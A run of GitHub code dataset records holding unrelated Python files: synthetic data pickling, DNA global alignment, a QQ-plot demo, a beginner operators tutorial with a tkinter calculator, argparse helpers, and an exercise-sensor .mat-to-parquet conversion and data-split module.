pd\nimport numpy as np\nimport random\nimport pickle\n\n# file paths - adapt main_dir pathway\n#main_dir = \"N:/Ablagen/D01700-KEM/Latner/simulation/\"\nmain_dir = \"/Users/jonathanlatner/Google Drive/My Drive/IAB/simulation_cat/\"\n\ndata_files = \"data_files/\"\noriginal_data = \"data_files/original/\"\nsynthetic_data = \"data_files/synthetic/\"\ngraphs = \"graphs/\"\ntables = \"tables/\"\n\nos.chdir(main_dir)\n\n# Set the random seed\nnp.random.seed(1234)\nrandom.seed(1234)\n\n'''\nCreate data\n'''\n\n# Initialize an empty list to store the data frames\n# Step 1: Generate 5 data frames with randomly generated variables\ncopies = [2, 3, 4]\n\nfor m in copies:\n \n data_frames_list = []\n\n for j in range(m): \n # Set the number of observations\n n = 10\n \n # Create an empty dictionary to store the data\n data = {}\n for i in range(1, 5): # 4 dichotomous variables\n variable_name = f'var_{i}'\n data[variable_name] = [random.choice([\"A\", \"B\"]) for _ in range(n)]\n \n # Create the data frame from the random data\n df = pd.DataFrame(data)\n \n # Append the data frame to the list\n data_frames_list.append(df)\n \n # Step 2: Save the list of data frames to a pickle file\n filename = f\"random_data_frames_m_{m}.pkl\"\n with open(os.path.join(synthetic_data,filename), 'wb') as f:\n pickle.dump(data_frames_list, f)\n \n\n\n# Step 3: Open the pickle file in read-binary mode ('rb')\nwith open(os.path.join(synthetic_data,'random_data_frames_m_3.pkl'), 'rb') as f:\n # Step 3: Load the data frames from the pickle file\n data_frames_list = pickle.load(f)\n \nlen(data_frames_list)\n\ndf0_loaded = data_frames_list[0]\ndf0_loaded\n\ndf1_loaded = data_frames_list[1]\ndf1_loaded\n","repo_name":"jonlatner/IAB","sub_path":"simulation_data/categorical/do_files/old/2023_09_05/test_loop.py","file_name":"test_loop.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72950010987","text":"#Global and local alignment using edit distance\n\n#Global Alignment: This is concerned with the overall similarity between two strings X and Y.\n\n#Penalties:\n#Substitution types: Transitions (purine to purine) and Transversions (purine to pyrimidine): Transitions are more frequent than transversions\n#A:G (purines), C:T (pyrimidines)--> Transitions\n#Gaps(Indel rates) are less frequent than substitution rates\n#Panalties of Tranversions and gaps should be more\n#So we make a penalty matrix that has penalty scores for gaps and substitutions.\n\n#Local alignment:\n#We do not look for edit distances between two strings in local alignments.\n#We look for substrings of X and Y which are most similar to each other.\n#Uses scoring matrix instead of penalty matrix. In the scoring matrix, matches are positive and differences are negative.\n#The goal is to pop out the matches.\n\n\n#Let's start with global alignment:\n#Panalities for purine to purine or pyrimidine to pyrimidine substitution = 2; rest 4. Gaps = 8\n# Two-dimensional (4X4) array penalty scores for different mismatches and gaps\n# A C G T Gap\n# A 0 4 2 4 8\n# C 4 0 4 2 8\n# G 2 4 0 4 8\n# T 4 2 4 0 8\n# Gap 8 8 8 8 8\n\nalphabet = ['A', 'C', 'G', 'T']\nscore = [[0, 4, 2, 4, 8], \\\n [4, 0, 4, 2, 8], \\\n [2, 4, 0, 4, 8], \\\n [4, 2, 4, 0, 8], \\\n [8, 8, 8, 8, 8]]\n\ndef globalAlignment(x, y):\n D = []\n for i in range(len(x) + 1):\n D.append([0]* (len(y)+1)) #making a matrix for x and y including empty string/gaps with all elements initialized to zero, where x is pattern and y is text \n\n for i in range(1, len(x) + 1):\n # when skipping characters in 'y'. #D[i][0] corresponds to all rows of 1st column (x vs. empty String/gap of y) except '0'th row\n #To calculate the penalty score look at the rows of the penalty matrix corresponding to the character in the pattern or x\n D[i][0] = D[i-1][0] + score[alphabet.index(x[i-1])][-1] #alphabet.index gives you the position/index of that xth character in the list, alphabet(0 to 3). score[][-1] searches in the last column of the score matrix\n for i in range(1, len(y) + 1):\n # when skipping characters in 'x'. #D[0][i] corresponds to all columns of 1st row (empty String/gap of x/text) except '0'th column\n D[0][i] = D[0][i-1] + score[-1][alphabet.index(y[i-1])]\n\n for i in range(1, len(x) + 1):\n for j in range(1, len(y)+1):\n distHor = D[i][j-1] + score[-1][alphabet.index(y[j-1])] #When Gap in y is introduced. Adding in the penalty of said gap. \n #remember index of matrix and text is different due to the addition of gaps in the matrix. So, say if D[2][2] is (score between 'A' and 'T' in x and y) then y[2] is (say 'G'), which occurs before 'T' in the text 'y' (....GT...)\n distVer = D[i-1] [j] + score[alphabet.index(x[i-1])][-1] #When gap in x is introduced. Adding in the penalty of said gap.\n if x[i-1] == y[j-1]:\n distDiag = D[i-1] [j-1]\n else:\n distDiag = D[i - 1][j - 1] + score[alphabet.index(x[i-1])][alphabet.index(y[j-1])] #Adding in the penalty of substitution\n D[i][j] = min(distHor, distVer, distDiag)\n return D[-1][-1]\n \nx = 'TACCAGATTGA'\ny = 'TACCAAATTG'\nprint(globalAlignment(x,y))\n#10\n","repo_name":"JLama75/python","sub_path":"Algorithm_DNAsequence/week3_DynamicProgramming/GlobalAlignment_Approx.Matching.py","file_name":"GlobalAlignment_Approx.Matching.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42307664524","text":"\"\"\"\nQQ plot - Normality test for data distribution\n\"\"\"\n# In[] Libs\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import stats\nimport statsmodels.api as sm\n\n# In[]\nN = 10001\ndata_normal_dist = np.random.randn(N) # empricial normal distribution\ndata_non_normal_dist = np.exp(np.random.randn(N)*.8) # log-norm distribution\n\nx = np.linspace(-8, 8, N) # theoretical normal distribution given N\n\n# In[] Plot the histograms on top of each other\nyy, xx = np.histogram(data_normal_dist,40)\nyy = yy/max(yy)\nxx = (xx[:-1]+xx[1:])/2\n\ndata_normal_dist_theo = stats.norm.pdf(x)\ndata_normal_dist_theo = data_normal_dist_theo/max(data_normal_dist_theo)\n\nplt.plot(xx,yy,label=\"Empirical\")\nplt.plot(x,data_normal_dist_theo,label=\"Theoretical\")\nplt.legend()\nplt.show()\n\n# In[] plot the QQ plot of each separately\nfig = sm.qqplot(data_normal_dist, stats.t, fit=True, line=\"45\")\nplt.title(\"Probability Plot\")\nplt.xlabel(\"Theoretical quantities\")\nplt.ylabel(\"Ordered Values\")\nplt.show()\n\n# In[] plot the QQ plot of each separately\nfig = sm.qqplot(data_non_normal_dist, stats.t, fit=True, line=\"45\")\nplt.title(\"Probability Plot\")\nplt.xlabel(\"Theoretical quantities\")\nplt.ylabel(\"Ordered Values\")\nplt.show()\n\n# In[] Finish","repo_name":"mustafa-sarshar/Easy-Statistics","sub_path":"99_Extras/QQ_plot.py","file_name":"QQ_plot.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38683957389","text":"#Membership Operators:\n#In:'in'operator :checks if a value exists in a sequence\n#Not in:'not in'operator:checks ifa value does exist in a sequence\n#Identity Operators:\n#Is:'is'operator:checks if two values are the same\n#Is not:'is not'operator:checks if two values are not the same\n\n#Examples of arithmetic operators\n#Addition\n# x = 100 + 45\n#print(x)\n#Subtraction\n#y=50-15\n#print(y)\n#Multiplication\n#z=50*5\n#print(z)\n#Division\n#a=50/45\n#print(a)\n#modulus\n#e=50%2\n#print(e)\n#Exponentiation\n#d=2**2\n#print(d)\n#Examples of comparsion\n#Comparison Operators\n#a=100\n#b= 55\n#Greater than\n#if a > b:\n # print(\"a is greater than b\")\n # print(a>b)\n#Less than\n#if a < b:\n # print(\"a is less than b\")\n # print(a= b:\n # print(\"a is greater than or equal to b\")\n #print(a>=b)\n#Less than or equal to\n#if a <= b:\n # print(\"a is less than or equal to b\")\n #print(a<=b)\n#Equal to\n#if a == b:\n # print(\"a is equal to b\")\n # print(a==b)\n#Not equal to\n#if a != b:\n # print(\"a is not equal to b\")\n # print(a!=b)\n#Less than or equal to\n#print(a<=b)\n#Equal to\n#print(a==b)\n# Example with Logical Operators\n#Logical Operators\n#a = True\n#b = False\n\n#Logical AND\n#print( a and b)\n#Logical OR\n#print( a or b)\n #Logical NOT\n#print(not a) \n#print (not b)\n\n\n#Modulus and Assign\n#e= 18\n#e%=5\n#print( e)\n\n#Exponential and Assign\n#f = 2\n#f **= 4\n#print( f)\n#Membership assignment Operators\n#Cars =['Jeep','Telsa','BMW','RollRoyce']\n#if 'Jeep' in Cars:\n # print( 'Jeep is in list')\n # print('Telsa'in Cars)\n # print('ROLL' in Cars)\n#Identity Operators\n#x = 20\n#y=20\n#is operator\n#print(x is y)\n#print(x is not y)\n#print(x == y)\n#print(x != y)\n#print(x < y)\n#print(x <= y)\n#List\n#is not operator\n#z=[1,2,3,4,5,6,7,8,9]\n#w=[1,2,3,4,5,6,7,8,9]\n#print(z is w)\n#print(z is not w)\n#Bitwise operators\n\"\"\"\nBitwise operstors are used to perform operations on individual bits in of binary numbers.\nBitwise AND (\"&\")\nBitwise OR (\"|\")\nBitwise XOR ('^'): Perform a bitwise XOR operation\nBitwise NOT (\"~\"):Peform a bitwise NOT operation between the corresponding\nBitwise left shift()\n\"\"\"\n#Examples of Bitwise operations\n#print(\"Results of Bitwise operators\")\n#a =12 # binary: 1100\n#b = 7 # binary: 0111\n\n#result_and = a & b # binary: 0100 (decimal: 4) print(\"Bitwise AND result:\", result_and)\n\n# Bitwise OR example\n\n#result_or = a | b# binary: 1111 (decimal: 15) print(\"Bitwise OR result:\", result_or)\n\n# Bitwise XOR example\n\n#result_xor = a ^ b # binary: 1011 (decimal: 11) print(\"Bitwise XOR result:\", result_xor)\n\n# Bitwise NOT example\n\n#a= 42 # binary: 00101010\n\n#result_not = ~a # binary: 11010101 (decimal: -43)\n\n#print(\"Bitwise NOT result:\", result_not)\n\n#Bitwise Left shift example\n\n#a= 5 # binary: 00000101\n\n#shifted_left = a << 2 # binary: 00010100 (decimal: 20)\n\n#print(\"Bitwise left shift result:\", shifted_left)\n\n#Bitwise right shift example\n\n#a = 16 # binary: 00010000\n\n#shifted_right = a >> 3 # binary: 00000010 (decimal: 2) print(\"Bitwise right shift result:\", shifted_right)\n\n#Example and execrise\n#tkinter learn \n#Assignment create a simple calculator program with a GUI interface.\n#Make the title of the calculator program window with your name e.g \"Jeff Geoff simple Calculator\"\n#Assigment\nimport tkinter as tk\n\ndef button_click(number):\n current = entry.get()\n entry.delete(0, tk.END)\n entry.insert(tk.END, current + str(number))\n\ndef button_equal():\n expression = entry.get()\n try:\n result = eval(expression)\n entry.delete(0, tk.END)\n entry.insert(tk.END, result)\n except Exception:\n entry.delete(0, tk.END)\n entry.insert(tk.END, \"Error\")\n\n# Create the main window\nroot = tk.Tk()\nroot.title(\"Nansumba mary vanessa simple calculator\")\n\n# Create an entry field\nentry = tk.Entry(root, width=30)\nentry.grid(row=0, column=0, columnspan=4)\n\n# Create buttons for numbers and operators\nbutton_1 = tk.Button(root, text=\"1\", padx=20, pady=10, command=lambda: button_click(1))\nbutton_2 = tk.Button(root, text=\"2\", padx=20, pady=10, command=lambda: button_click(2))\nbutton_3 = tk.Button(root, text=\"3\", padx=20, pady=10, command=lambda: button_click(3))\nbutton_4 = tk.Button(root, text=\"4\", padx=20, pady=10, command=lambda: button_click(4))\nbutton_5 = tk.Button(root, text=\"5\", padx=20, pady=10, command=lambda: button_click(5))\nbutton_6 = tk.Button(root, text=\"6\", padx=20, pady=10, command=lambda: button_click(6))\nbutton_7 = tk.Button(root, text=\"7\", padx=20, pady=10, command=lambda: button_click(7))\nbutton_8 = tk.Button(root, text=\"8\", padx=20, pady=10, command=lambda: button_click(8))\nbutton_9 = tk.Button(root, text=\"9\", padx=20, pady=10, command=lambda: button_click(9))\nbutton_0 = tk.Button(root, text=\"0\", padx=20, pady=10, command=lambda: button_click(0))\n\nbutton_add = tk.Button(root, text=\"+\", padx=20, pady=10, command=lambda: button_click(\"+\"))\nbutton_subtract = tk.Button(root, text=\"-\", padx=20, pady=10, command=lambda: button_click(\"-\"))\nbutton_multiply = tk.Button(root, text=\"*\", padx=20, pady=10, command=lambda: button_click(\"*\"))\nbutton_divide = tk.Button(root, text=\"/\", padx=20, pady=10, command=lambda: button_click(\"/\"))\nbutton_equal = tk.Button(root, text=\"=\", padx=20, pady=10, command=button_equal)\n\n# Position the buttons on the grid\nbutton_1.grid(row=1, column=0)\nbutton_2.grid(row=1, column=1)\nbutton_3.grid(row=1, column=2)\n\nbutton_4.grid(row=2, column=0)\nbutton_5.grid(row=2, column=1)\nbutton_6.grid(row=2, column=2)\n\nbutton_7.grid(row=3, column=0)\nbutton_8.grid(row=3, column=1)\nbutton_9.grid(row=3, column=2)\n\nbutton_0.grid(row=4, column=1)\n\nbutton_add.grid(row=1, column=3)\nbutton_subtract.grid(row=2, column=3)\nbutton_multiply.grid(row=3, column=3)\nbutton_divide.grid(row=4, column=3)\nbutton_equal.grid(row=4, column=2)\n\n# Start the main event loop\nroot.mainloop()\n","repo_name":"mary-nessa/Recess","sub_path":"Mary_vanessa/mary_vanessa_nansumba_morning_day3.py","file_name":"mary_vanessa_nansumba_morning_day3.py","file_ext":"py","file_size_in_byte":5795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28054694239","text":"import os\nimport time\n\ndef getruntime(numb):\n s=time.time()\n os.system('python trisum_gen.py '+str(numb)+' > trisum/trisum'+str(numb)+'.lp')\n e=time.time()\n return round(e-s,3)\n\nwith open('time_python_gen.csv','w') as f:\n f.write('n,pythontime\\n')\nfor i in range(8,1000,30):\n with open ('time_python_gen.csv','a') as f:\n t=getruntime(i)\n f.write(str(i)+','+str(t)+'\\n')\n\n\n","repo_name":"lli259/schur_num","sub_path":"time_python_gen.py","file_name":"time_python_gen.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36153361564","text":"import argparse\n\ndef arg_parser():\n psr = argparse.ArgumentParser()\n psr.add_argument('net', help='name of network')\n psr.add_argument('-d', '--dataset', help='dataset directory', required=True)\n psr.add_argument('-s', '--save_dir', help='directory where the models/checkpoints are saved', required=True)\n psr.add_argument('-bs', '--batch_size', help='batch size', type=int, default=32)\n psr.add_argument('-ne', '--num_epochs', help='the number of training epochs', type=int, default=1)\n psr.add_argument('-ts', '--target_size', help='target image size. This argument needs to be set only if `dataset` is a directory path.', nargs='+', type=int, default=[224, 224])\n psr.add_argument('-cm', '--class_mode', help='classification mode. This argument needs to be set only if `dataset` is a directory path. See \"data_generator.py\" for more details.', default='categorical')\n psr.add_argument('-td', '--test', help='test dataset directory', required=False, default='')\n psr.add_argument('-vd', '--validation', help='validation dataset directory', required=False, default='')\n psr.add_argument('-wt', '--weights', help='pre-trained weights for fine-tuning. supported only \"imagenet\".', required=False, default='')\n psr.add_argument('-fc', '--full_conn', help='specify last full connection layers structure except output layer. This argument will be used only when `weights` is \"imagenet\"', nargs='+', type=float, default=[])\n\n return psr\n\ndef arg_parser_pred():\n psr = argparse.ArgumentParser()\n psr.add_argument('-t', '--target', help='target file to input', required=True)\n psr.add_argument('-m', '--model_path', help='model path to use for prediction', required=True)\n psr.add_argument('-s', '--save_dir', help='directory to save prediction result', default='')\n psr.add_argument('-is', '--img_size', help='imgage width and height', nargs='+', type=int, default=[28, 28])\n psr.add_argument('-cm', '--color_mode', help='color mode. one of \"grayscale\", \"rgb\", \"rgba\".', default='grayscale')\n psr.add_argument('-nc', '--num_classes', help='no. of classes', type=int, default=10)\n\n return psr\n\n","repo_name":"reouno/tf-image-classifiers","sub_path":"get_args.py","file_name":"get_args.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10102037646","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis module defines the functions and methods that create the raw PARQUET files from the\nraw data MATLAB files. The `main()` function takes 5 arguments, input_filepath,\noutput_filepath, val_crit_filepath, test_crit_filepath, and overwrite_output.\n...\n\nArgs:\n input_filepath (str): location of the raw .mat file. Defaults to\n \"../../data/raw/exercise_data.50.0000_multionly.mat\"\n output_path (str): location to store the raw PARQUET files. Defaults to\n \"../../data/interim/\"\n val_crit_filepath (str): path to JSON specifying parameters for splitting\n training files into train vs. validation set. See `_make_train_val_split` for\n all parameter options. Defaults to \"./val_split_crit.json\".\n test_crit_filepath (str): path to JSON specifying parameters for splitting\n files into train-val vs. test set. See `_make_train_test_sim_split` for\n all parameter options. Defaults to \"./test_split_crit.json\".\n overwrite_output (bool): Whether to overwrite the raw PARQUET files\n if they already exist. Defaults to False\n\"\"\"\nimport json\nimport logging\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Dict, Generator, List, Tuple, Union\n\nimport click\nimport numpy as np\nimport pandas as pd\nimport scipy.io as sio\nfrom dotenv import find_dotenv, load_dotenv\n\n\ndef _load_matfile(file: str) -> dict:\n \"\"\"\n It loads a .mat file and returns a dictionary\n\n Args:\n file (str): fulle file path of the .mat file\n\n Returns:\n A dictionary of the contents of the .mat file.\n \"\"\"\n return sio.loadmat(file, squeeze_me=True, struct_as_record=False)\n\n\ndef _align_activities(\n activity_start_matrix: np.ndarray, time: np.ndarray\n) -> np.ndarray:\n \"\"\"\n It takes a matrix of activity names and start/end times, and returns an array of\n activity names that aligns with the time array\n\n Args:\n activity_start_matrix (np.ndarray): a numpy array of shape (n_activities, 3) where the\n first column is the activity name, the second column is the start time, and the third\n column is the end time.\n time (np.ndarray): the time vector\n\n Returns:\n An array of activity names aligned to time.\n \"\"\"\n max_t = time[-1]\n activity_array = np.empty_like(time, dtype=\"object\")\n for activity in activity_start_matrix:\n # data in form of [activity_name, start_time, end_time]\n activity_name = activity[0]\n t_s, t_e = activity[1:3]\n\n # enforce that times fit between start and end times in data matrix\n t_s = 0 if t_s < 0 else t_s\n t_e = max_t if t_e > max_t else t_e\n\n act_ix = (time >= t_s) & (time <= t_e)\n activity_array[act_ix] = activity_name\n\n return activity_array\n\n\ndef _reverse_dict(activity_groupings: dict) -> dict:\n \"\"\"\n It takes a dictionary of activity groupings and returns a dictionary of activities to\n groupings\n\n Args:\n activity_groupings (dict): a dictionary of activity groupings. The keys are the names\n of the groups, and the values are lists of activity indices\n\n Returns:\n A dictionary with the activities as the keys and the activity groups as the values.\n \"\"\"\n groupings_activities = {\n val_ix: key for key, val in activity_groupings.items() for val_ix in val\n }\n return groupings_activities\n\n\ndef _read_json(file_path: Union[str, Path]) -> dict:\n \"\"\"\n It reads a JSON file and returns the data as a dictionary\n\n Args:\n file_path (Union[str, Path]): The path to the JSON file.\n\n Returns:\n A dictionary\n \"\"\"\n with open(file_path, \"r\", encoding=\"utf-8\") as infile:\n data = json.load(infile)\n return data\n\n\ndef _write_json(file_path: Union[str, Path], data: dict) -> None:\n \"\"\"\n It writes a dictionary to a JSON file\n\n Args:\n file_path (Union[str, Path]): The path to the file you want to write to.\n data (dict): The data to be written to the file.\n \"\"\"\n with open(file_path, \"w\", encoding=\"utf-8\") as outfile:\n json.dump(data, outfile)\n\n\ndef _write_single_parquet_file(\n interim_filepath: Union[str, Path],\n subj_data: sio.matlab.mat_struct,\n data_id: int,\n) -> None:\n \"\"\"\n It takes a matlab struct loaded with scipy, converts it to a pandas dataframe, and\n writes it to a parquet file\n\n Args:\n interim_filepath (str): full interim file path to save the parquet file\n subj_data (sio.matlab.mio5_params.mat_struct): subject's mat_struct data\n data_id (int): data index for subject (0 by default if only one data vector for a user)\n \"\"\"\n\n time = subj_data.data.accelDataMatrix[:, 0]\n file_id = subj_data.fileIndex\n subject_id = subj_data.subjectID\n\n df = pd.DataFrame()\n df[\"time\"] = time\n df[\"file_id\"] = file_id\n df[\"subject_id\"] = subject_id\n df[\"data_id\"] = data_id\n\n df[\"accel_x\"] = subj_data.data.accelDataMatrix[:, 1]\n df[\"accel_y\"] = subj_data.data.accelDataMatrix[:, 2]\n df[\"accel_z\"] = subj_data.data.accelDataMatrix[:, 3]\n\n df[\"gyro_x\"] = subj_data.data.gyroDataMatrix[:, 1]\n df[\"gyro_y\"] = subj_data.data.gyroDataMatrix[:, 2]\n df[\"gyro_z\"] = subj_data.data.gyroDataMatrix[:, 3]\n\n activity_array = _align_activities(subj_data.activityStartMatrix, time)\n df[\"label\"] = activity_array\n\n activity_groupings = _read_json(ACTIVITY_GROUPS_FILE)\n\n # want to reverse relationship between keys and values for easy lookup by activity\n groupings_actvitiy = _reverse_dict(activity_groupings)\n df[\"label_group\"] = df[\"label\"].apply(\n lambda activity: groupings_actvitiy.get(activity, None)\n )\n\n # ran into unknown issues with pyarrow, but fastparquet seems to work\n df.to_parquet(interim_filepath, engine=\"fastparquet\")\n\n\ndef _fix_activity_groupings(activity_groupings: dict) -> dict:\n all_acts = [v_ix for val in activity_groupings.values() for v_ix in val]\n # there are a couple of duplicated activities\n all_acts = sorted(list(set(all_acts)))\n\n fixed_groupings = defaultdict(list)\n fixed_groupings[\"Non-exercise\"] = [\"Non-Exercise\", \"Device on Table\", \"Rest\"]\n fixed_groupings[\"Machines\"] = [\"Elliptical machine\", \"Rowing machine\", \"Cycling\"]\n fixed_groupings[\"Junk\"] = [\"Arm Band Adjustment\", \"Arm straight up\"]\n\n used_acts = []\n used_acts.extend(fixed_groupings[\"Non-exercise\"])\n used_acts.extend(fixed_groupings[\"Machines\"])\n used_acts.extend(fixed_groupings[\"Junk\"])\n for act in all_acts:\n if \"left\" in act:\n fixed_groupings[\"Left-hand repetitive exercise\"].append(act)\n elif \"right\" in act:\n fixed_groupings[\"Right-hand repetitive exercise\"].append(act)\n elif \"Running\" in act:\n fixed_groupings[\"Run\"].append(act)\n elif \"tretch\" in act:\n fixed_groupings[\"Stretching\"].append(act)\n elif (\"Walk\" in act) and (\"lunge\" not in act):\n fixed_groupings[\"Walk\"].append(act)\n elif (\"Plank\" in act) or (\"Boat\" in act) or act == \"Wall Squat\":\n fixed_groupings[\"Static exercise\"].append(act)\n elif \"lunge\" in act.lower():\n fixed_groupings[\"Repetitive non-arm exercise\"].append(act)\n elif (\n (\"Unl\" in act)\n or (act == \"Note\")\n or (\"Tap\" in act)\n or (\"Act\" in act)\n or (\"Inv\" in act)\n ):\n fixed_groupings[\"Junk\"].append(act)\n elif act not in used_acts:\n fixed_groupings[\"Repetitive exercise\"].append(act)\n\n return fixed_groupings\n\n\ndef _write_activity_groupings_json(useful_activity_groupings: np.ndarray) -> None:\n \"\"\"\n It takes the useful activity groupings data and writes them to a JSON file\n\n Args:\n usefulActivityGroupings (np.ndarray): a 2D numpy array of the form:\n `array([group_name, array([labels for this group]]))`\n \"\"\"\n activity_groupings = {row[0]: row[1].tolist() for row in useful_activity_groupings}\n activity_groupings = _fix_activity_groupings(activity_groupings)\n _write_json(ACTIVITY_GROUPS_FILE, activity_groupings)\n\n\ndef _make_files_dict(all_files: list) -> Dict[str, list]:\n \"\"\"\n It takes a list of file paths and returns a dictionary of subject names and the list of\n data id numbers associated with each subject\n\n Args:\n all_files (list): list of all files in the directory\n\n Returns:\n A dictionary with the subject as the key and the list of data ids as the value.\n \"\"\"\n files_dict = defaultdict(list)\n for file in all_files:\n # ignore non-data files\n if not file.parts[-1].startswith(\"fileID\"):\n continue\n _, subj, _ = file.parts[-1].split(\"_\")\n files_dict[subj].append(str(file))\n\n return files_dict\n\n\ndef _get_first_subjs_match_crit(\n files_dict: Dict[str, list], n_sing_file: int, n_double_file: int\n) -> list:\n \"\"\"\n It takes a dictionary of subject IDs and a list of files associated with each subject\n ID, and returns a list of the first \"n\" subject IDs that match the criteria of having\n either one (`n_sing_file`) or two (`n_double_file`) data files associated with them\n\n Args:\n files_dict (Dict[str, list]): a dictionary of subject IDs and the list of\n file ids they have.\n n_sing_file (int): number of subjects with only one file to include in the test\n dataset\n n_double_file (int): number of subjects with two files to include in the test\n dataset\n\n Returns:\n A list of the first subject IDs that match the criteria.\n \"\"\"\n test_subj_ids = []\n ones_left = n_sing_file\n twos_left = n_double_file\n for key, val in files_dict.items():\n if not (ones_left or twos_left):\n break\n\n if (len(val) == 1) & (ones_left > 0):\n test_subj_ids.append(key)\n ones_left -= 1\n elif (len(val) == 2) & (twos_left > 0):\n test_subj_ids.append(key)\n twos_left -= 1\n\n return test_subj_ids\n\n\ndef _make_train_test_dict(\n all_files: List[Path], test_subj_ids: list, sim_subj_ids: list\n) -> Dict[str, list]:\n \"\"\"\n It takes a dictionary of file paths and splits them into three lists, one for training,\n one for testing, and one for deployment simulation.\n\n Args:\n all_files (Dict[str, list]): a list of all the files in the directory\n test_subj_ids (list): list of subject IDs to use for testing\n\n Returns:\n A dictionary with two keys: \"test\" and \"train_val\". The values are lists of strings\n specifying the file paths of the train and test data.\n \"\"\"\n train_test_files = defaultdict(list)\n for file in all_files:\n _, subj, _ = file.parts[-1].split(\"_\")\n if any(subj == test_subj for test_subj in test_subj_ids):\n train_test_files[\"test\"].append(str(file))\n elif any(subj == sim_subj for sim_subj in sim_subj_ids):\n train_test_files[\"simulate\"].append(str(file))\n else:\n train_test_files[\"train_val\"].append(str(file))\n\n return train_test_files\n\n\ndef _make_train_test_sim_split(\n interim_path: Path, n_sing_file: int, n_double_file: int, n_sim_file: int = 1\n) -> Dict[str, List[str]]:\n \"\"\"\n It takes a directory of files, and splits them into train and test sets, based on the\n number of subjects in the test set that should have one (`n_file_single) or two\n (`n_file_double`) data recording files. This function simply finds the first subjects\n to meet these criteria by cycling through the files in `interim_path` in alphanumeric\n order. It then subsequently takes n_sim_file from the test list to save for\n simulating batch and/or stream service predictions and model updating. This function\n simply grabs the last files from the test dataset list to save for streaming.\n\n Args:\n interim_path (Path): the path to the interim data folder\n n_sing_file (int): number of single-data-file subjects to include in the test set\n n_double_file (int): number of double-data-file subjects to include in the test set\n n_sim_file (int): number of files from the test dataset to save for simulating\n real-world deployment and module updating,\n \"\"\"\n all_files = sorted(\n list(x for x in interim_path.iterdir() if x.is_file() and \"fileID\" in str(x))\n )\n files_dict = _make_files_dict(all_files)\n\n test_subj_ids = _get_first_subjs_match_crit(files_dict, n_sing_file, n_double_file)\n sim_subj_ids = []\n for _ in range(n_sim_file):\n sim_subj_ids.append(test_subj_ids.pop())\n\n train_test_files = _make_train_test_dict(all_files, test_subj_ids, sim_subj_ids)\n\n # _write_json(TRAIN_TEST_FILE, train_test_files)\n return train_test_files\n\n\ndef write_single_parquet_file_wrapper(\n interim_path: Union[str, Path],\n subj_data: sio.matlab.mat_struct,\n data_id: int = 0,\n overwrite: bool = False,\n):\n \"\"\"\n Wrapper function that takes an array of subject data, calls `_write_single_parquet_file`\n to write it to a parquet file, and returns nothing\n\n Args:\n interim_path (str): full interim file path to save the parquet file\n subj_data (sio.matlab.mat_struct): array of subject data\n data_id (int): int = 0,. Defaults to 0\n overwrite (bool): bool = False,. Defaults to False\n \"\"\"\n logger = logging.getLogger(__name__)\n\n file_id = subj_data.fileIndex\n subject_id = subj_data.subjectID\n\n interim_filepath = (\n Path(interim_path)\n / f\"fileID{file_id}_subjID{subject_id}_dataID{data_id}.parquet\"\n )\n if (not interim_filepath.exists()) or overwrite:\n logger.info(\"writing file %s...\", interim_filepath)\n _write_single_parquet_file(interim_filepath, subj_data, data_id)\n logger.info(\"file %s complete\", interim_filepath)\n else:\n logger.info(\"file %s already exists, skipping...\", interim_filepath)\n\n\ndef multi_convert_mat_to_parquet(\n input_filepath: str, interim_path: str, overwrite\n) -> None:\n \"\"\"\n It takes a .mat file path, loads it, and then iterates through the contents of the file,\n writing each subject's data to separate parquet files\n\n Args:\n input_filepath (str): the path to the .mat file\n interim_path (str): the path to the interim folder\n overwrite: boolean, whether to overwrite existing files\n \"\"\"\n logger = logging.getLogger(__name__)\n\n mat_contents = _load_matfile(input_filepath)\n if not ACTIVITY_GROUPS_FILE.exists():\n logger.info(\"activity groupings file does not exist. writing file first...\")\n _write_activity_groupings_json(\n mat_contents[\"exerciseConstants\"].usefulActivityGroupings\n )\n\n # loop over contents to re-write the data by file_id, subject_id, and data_id\n for subj_data in mat_contents[\"subject_data\"]:\n if isinstance(subj_data, np.ndarray):\n for d_ix, subj_data_x in enumerate(subj_data):\n write_single_parquet_file_wrapper(\n interim_path, subj_data_x, d_ix, overwrite\n )\n else:\n write_single_parquet_file_wrapper(interim_path, subj_data, 0, overwrite)\n\n\ndef _get_desired_multifile_params(**kwargs) -> dict:\n \"\"\"\n Gets desired number of subjects to include in validation set that have 5, 4, 3, and\n 2 data-recording files, respectively using values passed in kwargs combined with\n defaults. Will fill in any additional subjects to meet desired subject and file count\n with those subjects that have only one recording file, so we don't include this\n criterion here\n\n Returns:\n A dictionary with the keys: n_5_files, n_4_files, n_3_files, n_2_files. The values\n are the number of files that should be used for validation for each of the keys.\n \"\"\"\n default_ns = {\"n_5_files\": 0, \"n_4_files\": 1, \"n_3_files\": 1, \"n_2_files\": 1}\n desired_multifile_counts = {\n key: val if key not in kwargs else kwargs[key]\n for key, val in default_ns.items()\n }\n desired_multifile_counts.update(\n {\n key: val\n for key, val in kwargs.items()\n if key not in desired_multifile_counts.keys()\n }\n )\n return desired_multifile_counts\n\n\ndef _get_sorted_train_val_files(files_dict: dict) -> Tuple[list, list]:\n \"\"\"\n Sort the subjects by the number of files they have, and return the sorted list of\n subjects and the sorted list of file counts\n\n Args:\n files_dict (dict): a dictionary of the form {subject_id: [list of files]}\n\n Returns:\n A tuple of two lists.\n \"\"\"\n subjs_file_counts = {key: len(val) for key, val in files_dict.items()}\n\n sort_subjs_counts = sorted(\n subjs_file_counts.items(), key=lambda x: x[1], reverse=True\n )\n sorted_subjs, sorted_file_counts = (\n [s[0] for s in sort_subjs_counts],\n [s[1] for s in sort_subjs_counts],\n )\n return sorted_file_counts, 